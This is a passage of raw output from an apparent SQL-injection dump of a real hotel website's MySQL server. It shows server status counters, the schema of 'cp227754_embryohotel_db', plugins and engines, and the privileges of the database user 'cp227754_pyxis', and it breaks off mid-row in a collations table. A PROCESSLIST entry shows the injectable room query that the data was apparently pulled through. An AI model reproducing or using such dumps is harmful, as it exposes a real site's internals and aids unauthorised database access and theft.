INNODB_DATA_WRITTEN | 1204622808064 | | INNODB_DBLWR_PAGES_WRITTEN | 35143720 | | INNODB_DBLWR_WRITES | 643005 | | INNODB_HAVE_ATOMIC_BUILTINS | ON | | INNODB_LOG_WAITS | 1 | | INNODB_LOG_WRITE_REQUESTS | 93091581 | | INNODB_LOG_WRITES | 20209493 | | INNODB_OS_LOG_FSYNCS | 20613105 | | INNODB_OS_LOG_PENDING_FSYNCS | 0 | | INNODB_OS_LOG_PENDING_WRITES | 0 | | INNODB_OS_LOG_WRITTEN | 52830595072 | | INNODB_PAGE_SIZE | 16384 | | INNODB_PAGES_CREATED | 1681635 | | INNODB_PAGES_READ | 217541130 | | INNODB_PAGES_WRITTEN | 35143767 | | INNODB_ROW_LOCK_CURRENT_WAITS | 0 | | INNODB_ROW_LOCK_TIME | 846074 | | INNODB_ROW_LOCK_TIME_AVG | 269 | | INNODB_ROW_LOCK_TIME_MAX | 51513 | | INNODB_ROW_LOCK_WAITS | 3140 | | INNODB_ROWS_DELETED | 1737070 | | INNODB_ROWS_INSERTED | 23180230 | | INNODB_ROWS_READ | 130646993811 | | INNODB_ROWS_UPDATED | 13912740 | | INNODB_NUM_OPEN_FILES | 2000 | | INNODB_TRUNCATED_STATUS_WRITES | 0 | | INNODB_AVAILABLE_UNDO_LOGS | 128 | | KEY_BLOCKS_NOT_FLUSHED | 0 | | KEY_BLOCKS_UNUSED | 0 | | KEY_BLOCKS_USED | 6698 | | KEY_READ_REQUESTS | 162934323679 | | KEY_READS | 5817909398 | | KEY_WRITE_REQUESTS | 1242658789 | | KEY_WRITES | 439019626 | | LAST_QUERY_COST | 0.000000 | | LAST_QUERY_PARTIAL_PLANS | 1 | | MAX_USED_CONNECTIONS | 120 | | NOT_FLUSHED_DELAYED_ROWS | 0 | | OPEN_FILES | 2508 | | OPEN_STREAMS | 0 | | OPEN_TABLE_DEFINITIONS | 1720 | | OPEN_TABLES | 2000 | | OPENED_FILES | 1439035795 | | OPENED_TABLE_DEFINITIONS | 0 | | OPENED_TABLES | 0 | | PERFORMANCE_SCHEMA_ACCOUNTS_LOST | 0 | | PERFORMANCE_SCHEMA_COND_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_COND_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_DIGEST_LOST | 0 | | PERFORMANCE_SCHEMA_FILE_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_FILE_HANDLES_LOST | 0 | | PERFORMANCE_SCHEMA_FILE_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_HOSTS_LOST | 0 | | PERFORMANCE_SCHEMA_LOCKER_LOST | 0 | | PERFORMANCE_SCHEMA_MUTEX_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_MUTEX_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_RWLOCK_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_RWLOCK_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_SESSION_CONNECT_ATTRS_LOST | 0 | | PERFORMANCE_SCHEMA_SOCKET_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_SOCKET_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_STAGE_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_STATEMENT_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_TABLE_HANDLES_LOST | 0 | | PERFORMANCE_SCHEMA_TABLE_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_THREAD_CLASSES_LOST | 0 | | PERFORMANCE_SCHEMA_THREAD_INSTANCES_LOST | 0 | | PERFORMANCE_SCHEMA_USERS_LOST | 0 | | PREPARED_STMT_COUNT | 1 | | QCACHE_FREE_BLOCKS | 1 | | QCACHE_FREE_MEMORY | 1031352 | | QCACHE_HITS | 0 | | QCACHE_INSERTS | 0 | | QCACHE_LOWMEM_PRUNES | 0 | | QCACHE_NOT_CACHED | 2205679683 | | QCACHE_QUERIES_IN_CACHE | 0 | | QCACHE_TOTAL_BLOCKS | 1 | | QUERIES | 6813281375 | | QUESTIONS | 3 | | SELECT_FULL_JOIN | 0 | | SELECT_FULL_RANGE_JOIN | 0 | | SELECT_RANGE | 0 | | SELECT_RANGE_CHECK | 0 | | SELECT_SCAN | 2 | | SLAVE_HEARTBEAT_PERIOD | | | SLAVE_LAST_HEARTBEAT | | | SLAVE_OPEN_TEMP_TABLES | 0 | | SLAVE_RECEIVED_HEARTBEATS | | | SLAVE_RETRIED_TRANSACTIONS | | | SLAVE_RUNNING | OFF | | SLOW_LAUNCH_THREADS | 0 | | SLOW_QUERIES | 0 | | SORT_MERGE_PASSES | 0 | | SORT_RANGE | 0 | | SORT_ROWS | 0 | | SORT_SCAN | 0 | | SSL_ACCEPT_RENEGOTIATES | 0 | | SSL_ACCEPTS | 0 | | SSL_CALLBACK_CACHE_HITS | 0 | | SSL_CIPHER | | | SSL_CIPHER_LIST | | | SSL_CLIENT_CONNECTS | 0 | | SSL_CONNECT_RENEGOTIATES | 0 | | SSL_CTX_VERIFY_DEPTH | 0 | | SSL_CTX_VERIFY_MODE | 0 | | SSL_DEFAULT_TIMEOUT | 0 | | SSL_FINISHED_ACCEPTS | 0 | | SSL_FINISHED_CONNECTS | 0 | | SSL_SERVER_NOT_AFTER | | | SSL_SERVER_NOT_BEFORE | | | SSL_SESSION_CACHE_HITS | 0 | | SSL_SESSION_CACHE_MISSES | 0 | | SSL_SESSION_CACHE_MODE | NONE | | SSL_SESSION_CACHE_OVERFLOWS | 0 | | SSL_SESSION_CACHE_SIZE | 0 | | SSL_SESSION_CACHE_TIMEOUTS | 0 | | SSL_SESSIONS_REUSED | 0 | | SSL_USED_SESSION_CACHE_ENTRIES | 0 | | SSL_VERIFY_DEPTH | 0 | | SSL_VERIFY_MODE | 0 | | SSL_VERSION | | | TABLE_LOCKS_IMMEDIATE | 3270538440 | | TABLE_LOCKS_WAITED | 620184 | | TABLE_OPEN_CACHE_HITS | 2 | | TABLE_OPEN_CACHE_MISSES | 0 | | TABLE_OPEN_CACHE_OVERFLOWS | 0 | | TC_LOG_MAX_PAGES_USED | 0 | | TC_LOG_PAGE_SIZE | 0 | | TC_LOG_PAGE_WAITS | 0 | | THREADS_CACHED | 4 | | THREADS_CONNECTED | 34 | | THREADS_CREATED | 1171588 | | THREADS_RUNNING | 5 | | UPTIME | 3843065 | | UPTIME_SINCE_FLUSH_STATUS | 3843066 | +-----------------------------------------------+----------------+ Database: information_schema Table: TABLE_CONSTRAINTS [11 entries] +----------------------+-------------------------+-----------------+-----------------+-------------------------+--------------------+ | TABLE_NAME | TABLE_SCHEMA | CONSTRAINT_TYPE | CONSTRAINT_NAME | CONSTRAINT_SCHEMA | CONSTRAINT_CATALOG | +----------------------+-------------------------+-----------------+-----------------+-------------------------+--------------------+ | admin | cp227754_embryohotel_db | PRIMARY KEY | PRIMARY | cp227754_embryohotel_db | def | | contact | cp227754_embryohotel_db | PRIMARY KEY | PRIMARY | cp227754_embryohotel_db | def | | image | cp227754_embryohotel_db | PRIMARY KEY | PRIMARY | cp227754_embryohotel_db | def | | local_area | cp227754_embryohotel_db | PRIMARY KEY | PRIMARY | cp227754_embryohotel_db | def | | news | cp227754_embryohotel_db | PRIMARY KEY | PRIMARY | cp227754_embryohotel_db | def | | room | cp227754_embryohotel_db | PRIMARY KEY | PRIMARY | cp227754_embryohotel_db | def | | room_image | cp227754_embryohotel_db | PRIMARY KEY | PRIMARY | cp227754_embryohotel_db | def | | room_option | cp227754_embryohotel_db | PRIMARY KEY | PRIMARY | cp227754_embryohotel_db | def | | room_option_reletive | cp227754_embryohotel_db | PRIMARY KEY | PRIMARY | cp227754_embryohotel_db | def | | slideshow | cp227754_embryohotel_db | PRIMARY KEY | PRIMARY | cp227754_embryohotel_db | def | | slideshow_mobile | cp227754_embryohotel_db | PRIMARY KEY | PRIMARY | cp227754_embryohotel_db | def | +----------------------+-------------------------+-----------------+-----------------+-------------------------+--------------------+ Database: information_schema Table: CHARACTER_SETS [40 entries] +--------+-----------------------------+--------------------+----------------------+ | MAXLEN | DESCRIPTION | CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | +--------+-----------------------------+--------------------+----------------------+ | 2 | Big5 Traditional Chinese | big5 | big5_chinese_ci | | 1 | DEC West European | dec8 | dec8_swedish_ci | | 1 | DOS West European | cp850 | cp850_general_ci | | 1 | HP West European | hp8 | hp8_english_ci | | 1 | KOI8-R Relcom Russian | koi8r | koi8r_general_ci | | 1 | cp1252 West European | latin1 | latin1_swedish_ci | | 1 | ISO 8859-2 Central European | latin2 | latin2_general_ci | | 1 | 7bit Swedish | swe7 | swe7_swedish_ci | | 1 | US ASCII | ascii | ascii_general_ci | | 3 | EUC-JP Japanese | ujis | ujis_japanese_ci | | 2 | Shift-JIS Japanese | sjis | sjis_japanese_ci | | 1 | ISO 8859-8 Hebrew | hebrew | hebrew_general_ci | | 1 | TIS620 Thai | tis620 | tis620_thai_ci | | 2 | EUC-KR Korean | euckr | euckr_korean_ci | | 1 | KOI8-U Ukrainian | koi8u | koi8u_general_ci | | 2 | GB2312 Simplified Chinese | gb2312 | gb2312_chinese_ci | | 1 | ISO 8859-7 Greek | greek | greek_general_ci | | 1 | Windows Central European | cp1250 | cp1250_general_ci | | 2 | GBK Simplified Chinese | gbk | gbk_chinese_ci | | 1 | ISO 8859-9 Turkish | latin5 | latin5_turkish_ci | | 1 | ARMSCII-8 Armenian | armscii8 | armscii8_general_ci | | 3 | UTF-8 Unicode | utf8 | utf8_general_ci | | 2 | UCS-2 Unicode | ucs2 | ucs2_general_ci | | 1 | DOS Russian | cp866 | cp866_general_ci | | 1 | DOS Kamenicky Czech-Slovak | keybcs2 | keybcs2_general_ci | | 1 | Mac Central European | macce | macce_general_ci | | 1 | Mac West European | macroman | macroman_general_ci | | 1 | DOS Central European | cp852 | cp852_general_ci | | 1 | ISO 8859-13 Baltic | latin7 | latin7_general_ci | | 4 | UTF-8 Unicode | utf8 | utf8_general_ci | | 1 | Windows Cyrillic | cp1251 | cp1251_general_ci | | 4 | UTF-16 Unicode | utf16 | utf16_general_ci | | 4 | UTF-16LE Unicode | utf16le | utf16le_general_ci | | 1 | Windows Arabic | cp1256 | cp1256_general_ci | | 1 | Windows Baltic | cp1257 | cp1257_general_ci | | 4 | UTF-32 Unicode | utf32 | utf32_general_ci | | 1 | Binary pseudo charset | binary | binary | | 1 | GEOSTD8 Georgian | geostd8 | geostd8_general_ci | | 2 | SJIS for Windows Japanese | cp932 | cp932_japanese_ci | | 3 | UJIS for Windows Japanese | eucjpms | eucjpms_japanese_ci | +--------+-----------------------------+--------------------+----------------------+ Database: information_schema Table: SCHEMATA [2 entries] +----------+-------------------------+--------------+------------------------+----------------------------+ | SQL_PATH | SCHEMA_NAME | CATALOG_NAME | DEFAULT_COLLATION_NAME | DEFAULT_CHARACTER_SET_NAME | +----------+-------------------------+--------------+------------------------+----------------------------+ | NULL | information_schema | def | utf8_general_ci | utf8 | | NULL | cp227754_embryohotel_db | def | latin1_swedish_ci | latin1 | +----------+-------------------------+--------------+------------------------+----------------------------+ Database: information_schema Table: PLUGINS [42 entries] +-------------+----------------------------+--------------------+---------------+--------------------------------------------+----------------+----------------+----------------+---------------------------------------------------------------------------+---------------------+------------------------+ | LOAD_OPTION | PLUGIN_NAME | PLUGIN_TYPE | PLUGIN_STATUS | PLUGIN_AUTHOR | PLUGIN_VERSION | PLUGIN_LIBRARY | PLUGIN_LICENSE | PLUGIN_DESCRIPTION | PLUGIN_TYPE_VERSION | PLUGIN_LIBRARY_VERSION | +-------------+----------------------------+--------------------+---------------+--------------------------------------------+----------------+----------------+----------------+---------------------------------------------------------------------------+---------------------+------------------------+ | FORCE | binlog | STORAGE ENGINE | ACTIVE | MySQL AB | 1.0 | NULL | GPL | This is a pseudo storage engine to represent the binlog in a transaction | 50643.0 | NULL | | FORCE | mysql_native_password | AUTHENTICATION | ACTIVE | R.J.Silk, Sergei Golubchik | 1.0 | NULL | GPL | Native MySQL authentication | 1.0 | NULL | | FORCE | mysql_old_password | AUTHENTICATION | ACTIVE | R.J.Silk, Sergei Golubchik | 1.0 | NULL | GPL | Old MySQL-4.0 authentication | 1.0 | NULL | | FORCE | sha256_password | AUTHENTICATION | ACTIVE | Oracle | 1.0 | NULL | GPL | SHA256 password authentication | 1.0 | NULL | | FORCE | MyISAM | STORAGE ENGINE | ACTIVE | MySQL AB | 1.0 | NULL | GPL | MyISAM storage engine | 50643.0 | NULL | | FORCE | MEMORY | STORAGE ENGINE | ACTIVE | MySQL AB | 1.0 | NULL | GPL | Hash based, stored in memory, useful for temporary tables | 50643.0 | NULL | | FORCE | CSV | STORAGE ENGINE | ACTIVE | Brian Aker, MySQL AB | 1.0 | NULL | GPL | CSV storage engine | 50643.0 | NULL | | FORCE | MRG_MYISAM | STORAGE ENGINE | ACTIVE | MySQL AB | 1.0 | NULL | GPL | Collection of identical MyISAM tables | 50643.0 | NULL | | FORCE | PERFORMANCE_SCHEMA | STORAGE ENGINE | ACTIVE | Marc Alff, Oracle | 0.1 | NULL | GPL | Performance Schema | 50643.0 | NULL | | ON | BLACKHOLE | STORAGE ENGINE | ACTIVE | MySQL AB | 1.0 | NULL | GPL | /dev/null storage engine (anything you write to it disappears) | 50643.0 | NULL | | OFF | FEDERATED | STORAGE ENGINE | DISABLED | Patrick Galbraith and Brian Aker, MySQL AB | 1.0 | NULL | GPL | Federated MySQL storage engine | 50643.0 | NULL | | ON | InnoDB | STORAGE ENGINE | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | Supports transactions, row-level locking, and foreign keys | 50643.0 | NULL | | ON | INNODB_TRX | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB transactions | 50643.0 | NULL | | ON | INNODB_LOCKS | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB conflicting locks | 50643.0 | NULL | | ON | INNODB_LOCK_WAITS | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB which lock is blocking which | 50643.0 | NULL | | ON | INNODB_CMP | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | Statistics for the InnoDB compression | 50643.0 | NULL | | ON | INNODB_CMP_RESET | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | Statistics for the InnoDB compression; reset cumulated counts | 50643.0 | NULL | | ON | INNODB_CMPMEM | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | Statistics for the InnoDB compressed buffer pool | 50643.0 | NULL | | ON | INNODB_CMPMEM_RESET | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | Statistics for the InnoDB compressed buffer pool; reset cumulated counts | 50643.0 | NULL | | ON | INNODB_CMP_PER_INDEX | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | Statistics for the InnoDB compression (per index) | 50643.0 | NULL | | ON | INNODB_CMP_PER_INDEX_RESET | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | Statistics for the InnoDB compression (per index); reset cumulated counts | 50643.0 | NULL | | ON | INNODB_BUFFER_PAGE | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB Buffer Page Information | 50643.0 | NULL | | ON | INNODB_BUFFER_PAGE_LRU | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB Buffer Page in LRU | 50643.0 | NULL | | ON | INNODB_BUFFER_POOL_STATS | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB Buffer Pool Statistics Information | 50643.0 | NULL | | ON | INNODB_METRICS | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB Metrics Info | 50643.0 | NULL | | ON | INNODB_FT_DEFAULT_STOPWORD | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | Default stopword list for InnDB Full Text Search | 50643.0 | NULL | | ON | INNODB_FT_DELETED | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | INNODB AUXILIARY FTS DELETED TABLE | 50643.0 | NULL | | ON | INNODB_FT_BEING_DELETED | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | INNODB AUXILIARY FTS BEING DELETED TABLE | 50643.0 | NULL | | ON | INNODB_FT_CONFIG | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | INNODB AUXILIARY FTS CONFIG TABLE | 50643.0 | NULL | | ON | INNODB_FT_INDEX_CACHE | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | INNODB AUXILIARY FTS INDEX CACHED | 50643.0 | NULL | | ON | INNODB_FT_INDEX_TABLE | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | INNODB AUXILIARY FTS INDEX TABLE | 50643.0 | NULL | | ON | INNODB_SYS_TABLES | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB SYS_TABLES | 50643.0 | NULL | | ON | INNODB_SYS_TABLESTATS | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB SYS_TABLESTATS | 50643.0 | NULL | | ON | INNODB_SYS_INDEXES | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB SYS_INDEXES | 50643.0 | NULL | | ON | INNODB_SYS_COLUMNS | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB SYS_COLUMNS | 50643.0 | NULL | | ON | INNODB_SYS_FIELDS | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB SYS_FIELDS | 50643.0 | NULL | | ON | INNODB_SYS_FOREIGN | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB SYS_FOREIGN | 50643.0 | NULL | | ON | INNODB_SYS_FOREIGN_COLS | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB SYS_FOREIGN_COLS | 50643.0 | NULL | | ON | INNODB_SYS_TABLESPACES | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB SYS_TABLESPACES | 50643.0 | NULL | | ON | INNODB_SYS_DATAFILES | INFORMATION SCHEMA | ACTIVE | Oracle Corporation | 5.6 | NULL | GPL | InnoDB SYS_DATAFILES | 50643.0 | NULL | | ON | ARCHIVE | STORAGE ENGINE | ACTIVE | Brian Aker, MySQL AB | 3.0 | NULL | GPL | Archive storage engine | 50643.0 | NULL | | ON | partition | STORAGE ENGINE | ACTIVE | Mikael Ronstrom, MySQL AB | 1.0 | NULL | GPL | Partition Storage Engine Helper | 50643.0 | NULL | +-------------+----------------------------+--------------------+---------------+--------------------------------------------+----------------+----------------+----------------+---------------------------------------------------------------------------+---------------------+------------------------+ Database: information_schema Table: PROCESSLIST [1 entry] +----------+-------------------------+-------------------------------------------------+-----------+-----------+----------------+--------+---------+ | ID | DB | INFO | HOST | STATE | USER | TIME | COMMAND | +----------+-------------------------+-------------------------------------------------+-----------+-----------+----------------+--------+---------+ | 50532937 | cp227754_embryohotel_db | SELECT * FROM room WHERE id=__REFLECTED_VALUE__ | localhost | executing | cp227754_pyxis | 0 | Query | +----------+-------------------------+-------------------------------------------------+-----------+-----------+----------------+--------+---------+ Database: information_schema Table: ENGINES [9 entries] +------+--------------------+----------------------------------------------------------------+---------+------------+--------------+ | XA | ENGINE | COMMENT | SUPPORT | SAVEPOINTS | TRANSACTIONS | +------+--------------------+----------------------------------------------------------------+---------+------------+--------------+ | NO | MyISAM | MyISAM storage engine | DEFAULT | NO | NO | | NO | MRG_MYISAM | Collection of identical MyISAM tables | YES | NO | NO | | NO | CSV | CSV storage engine | YES | NO | NO | | NO | BLACKHOLE | /dev/null storage engine (anything you write to it disappears) | YES | NO | NO | | NO | MEMORY | Hash based, stored in memory, useful for temporary tables | YES | NO | NO | | NO | PERFORMANCE_SCHEMA | Performance Schema | YES | NO | NO | | NO | ARCHIVE | Archive storage engine | YES | NO | NO | | NULL | FEDERATED | Federated MySQL storage engine | NO | NULL | NULL | | YES | InnoDB | Supports transactions, row-level locking, and foreign keys | YES | YES | YES | +------+--------------------+----------------------------------------------------------------+---------+------------+--------------+ Database: information_schema Table: SCHEMA_PRIVILEGES [18 entries] +------------------------------+--------------+-----------------------------+---------------+-------------------------+ | GRANTEE | IS_GRANTABLE | TABLE_SCHEMA | TABLE_CATALOG | PRIVILEGE_TYPE | +------------------------------+--------------+-----------------------------+---------------+-------------------------+ | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | SELECT | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | INSERT | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | UPDATE | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | DELETE | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | CREATE | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | DROP | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | REFERENCES | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | INDEX | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | ALTER | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | CREATE TEMPORARY TABLES | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | LOCK TABLES | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | EXECUTE | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | CREATE VIEW | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | SHOW VIEW | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | CREATE ROUTINE | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | ALTER ROUTINE | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | EVENT | | 'cp227754_pyxis'@'localhost' | NO | cp227754\\_embryohotel\\_db | def | TRIGGER | +------------------------------+--------------+-----------------------------+---------------+-------------------------+ Database: information_schema Table: COLLATIONS [219 entries] +-----+---------+------------+-------------+--------------------------+--------------------+ | ID | SORTLEN | IS_DEFAULT | IS_COMPILED | COLLATION_NAME | CHARACTER_SET_NAME | +-----+---------+------------+-------------+--------------------------+--------------------+ | 1 | 1 | Yes | Yes | big5_chinese_ci | big5 | | 84 | 1 | | Yes | big5_bin | big5 | | 3 | 1 | Yes | Yes | dec8_swedish_ci | dec8 | | 69 | 1 | | Yes | dec8_bin | dec8 | | 4 | 1 | Yes | Yes | cp850_general_ci | cp850 | | 80 | 1 | | Yes | cp850_bin | cp850 | | 6 | 1 | Yes | Yes | hp8_english_ci | hp8 | | 72 | 1 | | Yes | hp8_bin | hp8 | | 7 | 1 | Yes | Yes | koi8r_general_ci | koi8r | | 74 | 1 | | Yes | koi8r_bin | koi8r | | 5 | 1 | | Yes | latin1_german1_ci | latin1 | | 8 | 1 | Yes | Yes | latin1_swedish_ci | latin1 | | 15 | 1 | | Yes | latin1_danish_ci | latin1 | | 31 | 2 | | Yes | latin1_german2_ci | latin1 | | 47 | 1 | | Yes | latin1_bin | latin1 | | 48 | 1 | | Yes | latin1_general_ci | latin1 | | 49 | 1 | | Yes | latin1_general_cs | latin1 | | 94 | 1 | | Yes | latin1_spanish_ci | latin1 | | 2 | 4 | | Yes | latin2_czech_cs | latin2 | | 9 | 1 | Yes | Yes | latin2_general_ci | latin2 | | 21 | 1 | | Yes | latin2_hungarian_ci | latin2 | | 27 | 1 | | Yes | latin2_croatian_ci | latin2 | | 77 | 1 | | Yes | latin2_bin | latin2 | | 10 | 1 | Yes | Yes | swe7_swedish_ci | swe7 | | 82 | 1 | | Yes | swe7_bin | swe7 | | 11 | 1 | Yes | Yes | ascii_general_ci | ascii | | 65 | 1 | | Yes | ascii_bin | ascii | | 12 | 1 | Yes | Yes | ujis_japanese_ci | ujis | | 91 | 1 | | Yes | ujis_bin | ujis | | 13 | 1 | Yes | Yes | sjis_japanese_ci | sjis | | 88 | 1 | | Yes | sjis_bin | sjis | | 16 | 1 | Yes | Yes | hebrew_general_ci | hebrew | | 71 | 1 | | Yes | hebrew_bin | hebrew | | 18 | 4 | Yes | Yes | tis620_thai_ci | tis620 | | 89 | 1 | | Yes | tis620_bin | tis620 | | 19 | 1 | Yes | Yes | euckr_korean_ci | euckr | | 85 | 1 | | Yes | euckr_bin | euckr | | 22 | 1 | Yes | Yes | koi8u_general_ci | koi8u | | 75 | 1 | | Yes | koi8u_bin | koi8u | | 24 | 1 | Yes | Yes | gb2312_chinese_ci | gb2312 | | 86 | 1 | | Yes | gb2312_bin | gb2312 | | 25 | 1 | Yes | Yes | greek_general_ci | greek | | 70 | 1 | | Yes | greek_bin | greek | | 26 | 1 | Yes | Yes | cp1250_general_ci | cp1250 | | 34 | 2 | | Yes | cp1250_czech_cs | cp1250 | | 44 | 1 | | Yes | cp1250_croatian_ci | cp1250 | | 66 | 1 | | Yes | cp1250_bin | cp1250 | | 99 | 1 | | Yes | cp1250_polish_ci | cp1250 | | 28 | 1 | Yes | Yes | gbk_chinese_ci | gbk | | 87 | 1 | | Yes | gbk_bin | gbk | | 30 | 1 | Yes | Yes | latin5_turkish_ci | latin5 | | 78 | 1 | | Yes | latin5_bin | latin5 | | 32 | 1 | Yes | Yes | armscii8_general_ci | armscii8 | | 64 | 1 | | Yes | armscii8_bin | armscii8 | | 33 | 1 | Yes | Yes | utf8_general_ci | utf8 | | 83 | 1 | | Yes | utf8_bin | utf8 | | 192 | 8 | | Yes | utf8_unicode_ci | utf8 | | 193 | 8 | | Yes | utf8_icelandic_ci | utf8 | | 194 | 8 | | Yes | utf8_latvian_ci | utf8 | | 195 | 8 | | Yes | utf8_romanian_ci | utf8 | | 196 | 8 | | Yes | utf8_slovenian_ci | utf8 | | 197 | 8 | | Yes | utf8_polish_ci | utf8 | | 198 | 8 | | Yes | utf8_estonian_ci | utf8 | | 199 | 8 | | Yes | utf8_spanish_ci | utf8 | | 200 | 8 | | Yes | utf8_swedish_ci | utf8 | | 201 | 8 | | Yes | utf8_turkish_ci | utf8 | | 202 | 8 | | Yes | utf8_czech_ci | utf8 | | 203 | 8 | | Yes | utf8_danish_ci | utf8 | | 204 | 8 | | Yes | utf8_lithuanian_ci | utf8 | | 205 | 8 | | Yes | utf8_slovak_ci | utf8 | | 206 | 8 | | Yes | utf8_spanish2_ci | utf8 | | 207 | 8 | | Yes | utf8_roman_ci | utf8 | | 208 | 8 | | Yes | utf8_persian_ci | utf8 | | 209 | 8 | | Yes | utf8_esperanto_ci | utf8 | | 210 | 8 | | Yes | utf8_hungarian_ci | utf8 | | 211 | 8 | | Yes | utf8_sinhala_ci | utf8 | | 212 | 8 | | Yes | utf8_german2_ci | utf8 | | 213 | 8 | | Yes | utf8_croatian_ci | utf8 | | 214 | 8 | | Yes | utf8_unicode_520_ci | utf8 | | 215 | 8 | | Yes | utf8_vietnamese_ci | utf8 | | 223 | 1 | | Yes | utf8_general_mysql500_ci | utf8 | | 35 | 1 | Yes | Yes | ucs2_general_ci | ucs2 | | 90 | 1 | | Yes | ucs2_bin | ucs2 | | 128 | 8 | | Yes | ucs2_unicode_ci | ucs2 | | 129 | 8 | | Yes | ucs2_icelandic_ci | ucs2 | | 130 | 8 | | Yes | ucs2_latvian_ci | ucs2 | | 131 | 8 | | Yes | ucs2_romanian_ci | ucs2 | | 132 | 8 | | Yes | ucs2_slovenian_ci | ucs2 | | 133 | 8 | | Yes | ucs2_polish_ci | ucs2 | | 134 | 8 | | Yes | ucs2_estonian_ci | ucs2 | | 135 | 8 | | Yes | ucs2_spanish_ci | ucs2 | | 136 | 8 | | Yes | ucs2_swedish_ci | ucs2 | | 137 | 8 | | Yes | ucs2_turkish_ci | ucs2 | | 138 | 8 | | Yes | ucs2_czech_ci | ucs2 | | 139 | 8 | | Yes | ucs2_danish_ci | ucs2 | | 140 | 8 | | Yes | ucs2_lithuanian_ci | ucs2 | | 141 | 8 | | Yes | ucs2_slovak_ci | ucs2 | | 142 | 8 | | Yes | ucs2_spanish2_ci | ucs2 | | 143 | 8 | | Yes | ucs2_roman_ci | ucs2 | | 144 | 8 | | Yes | ucs2_persian_ci | ucs2 | | 145 | 8 | | Yes | ucs2_esperanto_ci | ucs2 | | 146 | 8 | | Yes | ucs2_hungarian_ci | ucs2 | | 147 | 8 | | Yes | ucs2_sinhala_ci | ucs2 | | 148 | 8 | | Yes | ucs2_german2_ci | ucs2 | | 149 | 8 | | Yes | ucs2_croatian_ci | ucs2 | | 150 | 8 | | Yes | ucs2_unicode_520_ci | ucs2 | | 151 | 8 | | Yes | ucs2_vietnamese_ci | ucs2 | | 159 | 1 | | Yes | ucs2_general_mysql500_ci | ucs2 | | 36 | 1 | Yes | Yes | cp866_general_ci | cp866 | | 68 | 1 | | Yes | cp866_bin | cp866 | | 37 | 1 | Yes | Yes | keybcs2_general_ci | keybcs2 | | 73 | 1 | | Yes | keybcs2_bin | keybcs2 | | 38 | 1 | Yes | 